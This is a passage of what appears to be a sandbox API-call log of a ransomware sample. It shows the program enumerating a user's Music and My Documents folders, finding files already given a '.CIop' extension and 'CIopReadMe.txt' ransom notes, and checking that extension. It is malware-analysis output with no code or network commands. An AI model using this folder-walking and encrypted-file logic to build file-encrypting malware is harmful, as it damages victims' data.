lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0148.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0148.734] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0148.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0148.734] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0148.735] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0148.735] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.735] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.735] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0148.735] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0148.735] lstrlenW (lpString=".CIop") returned 5 [0148.735] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.736] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.736] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.736] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0148.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0148.736] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0148.736] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0148.736] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.736] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0148.736] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.736] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0148.736] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0148.737] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0148.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0148.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0148.737] SetErrorMode (uMode=0x1) returned 0x1 [0148.737] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0148.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0148.737] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0148.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0148.737] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0148.737] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.737] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.737] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0148.737] lstrlenW (lpString=".CIop") returned 5 [0148.737] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.737] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0148.737] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0148.738] lstrlenW (lpString=".CIop") returned 5 [0148.738] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.738] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.738] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.738] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0148.738] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0148.738] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0148.738] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.738] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.738] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.738] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.738] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.738] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.738] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.738] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.739] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.739] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0148.739] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0148.739] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0148.739] SetErrorMode (uMode=0x1) returned 0x1 [0148.739] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0148.739] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0148.739] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.739] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0148.739] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0148.739] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.739] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.739] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.739] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0148.739] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.739] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0148.739] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0148.739] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0148.739] SetErrorMode (uMode=0x1) returned 0x1 [0148.739] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0148.739] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0148.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0148.739] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.739] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.740] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.740] lstrlenW (lpString=".CIop") returned 5 [0148.740] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0148.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0148.740] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.740] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.740] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0148.740] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.740] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 